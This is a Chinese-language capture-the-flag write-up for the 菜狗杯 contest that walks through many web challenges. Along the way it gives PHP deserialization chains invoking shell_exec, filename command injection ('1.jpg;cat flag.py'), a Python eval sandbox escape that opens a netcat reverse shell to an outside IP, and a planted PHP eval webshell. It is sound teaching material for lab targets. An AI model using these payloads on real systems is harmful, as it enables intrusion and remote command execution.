菜狗杯
一言既出
開啟題目就是一個樸實無華的php程式碼
我們分析一下:
需要傳入一個num的引數,使num==114514,後面經過intval轉化後要num==1919810,否則直接結束程序
這下就有點難辦了,但其實我們只要其實閉合一下這個assert函式,不讓這個結束的條件成立就行,payload如下
num=114514);//
或者還有一種解法,用了%2B,這是加號+的url編碼
當我們輸入一下payload
num=114514%2B(1919810-114514)
解釋一下payload,其實在第一次判斷的時候,他的值是114514,這就完成了第一次判斷,但是當第二次判斷,在intval函式下,他會先進行運算,然後再將結果進行判斷,這就完成了payload。
駟馬難追
開啟題目和上道題一樣
唯一不同的就是加了一層waf,比如小寫字母,分號,括號不能用,所以這道題我們不能閉合,只能借用那個url編碼,同時利用intval函式的特性去構造payload。
payload如下
num=114514%2B1919810-114514
TapTapTap
開啟題目是一個小遊戲,這真忍不住,上去玩了一下,關鍵詞是LEVEL,這種題都是js小遊戲,我們就直接原始碼找,搜LEVEL
功夫不負有心人,也是找到了一串可疑的base64的程式碼
解碼得到,得知flag在這個路徑下面
直接訪問這個檔案,成功拿到flag
Webshell
開啟題目,是php反序列化的題
具體來說這個流程就是
new Webshell()->__construct->__init->exec()
最後執行shell_exec($cmd) //shell_exec就是執行系統命令,一般無回顯,這裡貼心的給你回顯了
我們開啟php線上,去構造一下PHP 線上工具 | 菜鳥工具 (jyshare.com)
構造程式碼如下:
<?php
error_reporting(0);
class Webshell {
public $cmd = 'ls';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
$a=new Webshell();
echo urlencode(serialize($a))
?>
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A2%3A%22ls%22%3B%7D
然後我們傳一下引數看看行不,發現的確可以
注意前面程式碼,我們不能輸入flag,被過濾了,所以這裡我們使用萬用字元*****
這裡我們只用把構造程式碼中的 cmd的值更改一下
public $cmd = 'cat f*';
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D
傳參後發現一片空白,F12看一下原始碼,的確在裡面
化零為整
開啟題目,就是php程式碼,十分害怕
我們分析一下程式碼
$_GET,就是接受了多少了多少個引數
if(strlen($_GET[$i])>1)這一部分就是告訴我們,我們每次只能輸入一個字元****,漢字是兩個字元
我們往後看,result這個變數會拼接我們輸入進去的引數
最後當result==“大牛”,才會輸出flag
這個時候問題就是我們如何輸入“大牛”,每次只能才能輸入一個字元,這裡我們就可以url編碼,將”大牛“編碼一下,一次輸入一個字元
然後構造payload:
1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
無一倖免
這道題就是0=? //傳啥都行
payload如下
0=1
傳說之下(霧)
是一個小遊戲,小玩一會
應該還是js小遊戲,F12直接找,分數用的score,我們直接搜尋
我們應該修改這個score的值,然後吃一個豆,他就更新成nowScore,我們找找這個物件名字
找到之後,直接控制檯修改,
Game.score=3000
暫停修改過後,我們直接回到遊戲,吃一個豆,分數就夠了,得到flag
算力超群
開啟題目就是一個計算器,我們執行一個計算,抓包看看
當我們把number2改為非法的字串的時候
返回的頁面如下所示:
發現路徑為 /app/app.py
危險的函式如下:
result=eval(a + operator +b)
搜了一下,可用的方法就是 沙箱逃逸 ,emmmm,完全不懂,那就搜一下
一文看懂Python沙箱逃逸 - FreeBuf網路安全行業門戶
[PyJail] python沙箱逃逸探究·總覽(HNCTF題解) - 知乎 (zhihu.com)
直接反彈shell
_calculate?number1=1&operator=%2B&number2=1,__import__('os').system('nc 8.130.131.63 1234 -e sh')
拿到flag
算力升級(未做出來)
還不會,pass
easyPytHon_P
這道題是給了原始碼
我們分析一下,我們需要傳入兩個引數 一個 cmd 一個 param,後面有個命令執行的函式,所以我們需要構造一個命令,用這兩個引數,但是 cmd 是有限制的,只能讀取三位,分析完畢,我們開始構造payload
cmd=ls¶m=/
但是我們傳引數始終不對,沒有得到我們想要的結果,其實這裡又考了flask的傳參,其實不是GET傳參,而是POST
flask的傳參方式
- get請求
request.args.get("key") 獲取get請求引數
- post請求
request.form.get("key", type=str, default=None) 獲取表單資料
request.values.get("key") 獲取所有引數
所以這裡我們用hackbar POST傳參就行了
其實flag沒在根目錄,就在當前的目錄,那我們直接就讀取了
cmd=cat¶m=./flag.txt
遍地飄零
變數覆蓋問題CTF中的變數覆蓋問題 - My_Dreams - 部落格園 (cnblogs.com)
payload
_GET=flag
茶歇區
考的是整數溢位,以下是常見的數值範圍
uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807
讓我拿東西得分,我直接弄了很多,直接負數很離譜
我繼續這樣,就flag了
小舔田?
開啟題目就是原始碼,看的出來是反序列化
先補充魔術方法吧
__construct() //類的建構函式,建立物件時觸發
__destruct() //類的解構函式,物件被銷燬時觸發
__call() //在物件上下文中呼叫不可訪問的方法時觸發
__callStatic() //在靜態上下文中呼叫不可訪問的方法時觸發
__get() //讀取不可訪問屬性的值時,這裡的不可訪問包含私有屬性或未定義
__set() //在給不可訪問屬性賦值時觸發
__isset() //當對不可訪問屬性呼叫 isset() 或 empty() 時觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__invoke() //當嘗試以呼叫函式的方式呼叫一個物件時觸發
__sleep() //執行serialize()時,先會呼叫這個方法
__wakeup() //執行unserialize()時,先會呼叫這個方法
__toString() //當反序列化後的物件被輸出在模板中的時候(轉換成字串的時候)自動呼叫
然後我們來構造鏈子
Moon::wakeup()->Ion_Fan_Princess::tostring()->Ion_Fan_Princess::call
分析完畢,開啟php線上,開始操作、
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public function __wakeup(){
echo "我是".$this->name."快來賞我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}
}
public function __toString(){
$this->call();
}
}
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));
O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D
LSB探姬
開啟題目,我上傳了一個圖片,以為是檔案上傳,也返回了upload/1.jpg,但是訪問不到這個,所以這題不是檔案上傳題。
然後我們翻看原始碼,看到危險的函式
所以我們可以把檔名這裡動一些手腳,讓他去執行命令,我們上傳檔案的時候,抓一下包,改一下
payload
1.jpg;ls
返回的響應如下
那我們就檢視一下
1.jpg;cat flag.py
Is_Not_Obfuscate
開啟題目,F12
發現可以執行加密程式碼,然後有個 robots.txt ,我們訪問一下
得到了
lib.php?flag=0
訪問一篇空白,我們flag的值改為 1,檢視原始碼,顯示如下
接下來我們回到主介面去給加密程式碼弄一下,由於這些加密程式碼有很多符號之類的,我們先給他url編碼一下
eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1%2B/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR%2Bx6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16/ewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn/GN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7/jSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9%2Bw8pT7oT
payload如下(因為前面說action值需要為test,這裡記得更改一下)
?input=eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1%2B/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR%2Bx6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16/ewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn/GN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7/jSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9%2Bw8pT7oT&action=test&output=
回顯如下
分析一下程式碼,我們最後利用的push傳入危險程式碼,檔案會在plugins/md5(你的輸入的變數+youyou)然後pull來去執行
那我們就寫馬進入
?action=push&output=<?php eval($_GET[1]);?>youyou
然後我們MD5加密一下看一下生成的是什麼
<?php eval($_GET[1]);?>youyou
d6e1f0ec8980b49f6061227495a77a44
然後我們利用pull去執行
?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("ls /");
然後直接檢視flag
?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system("cat%20/f*");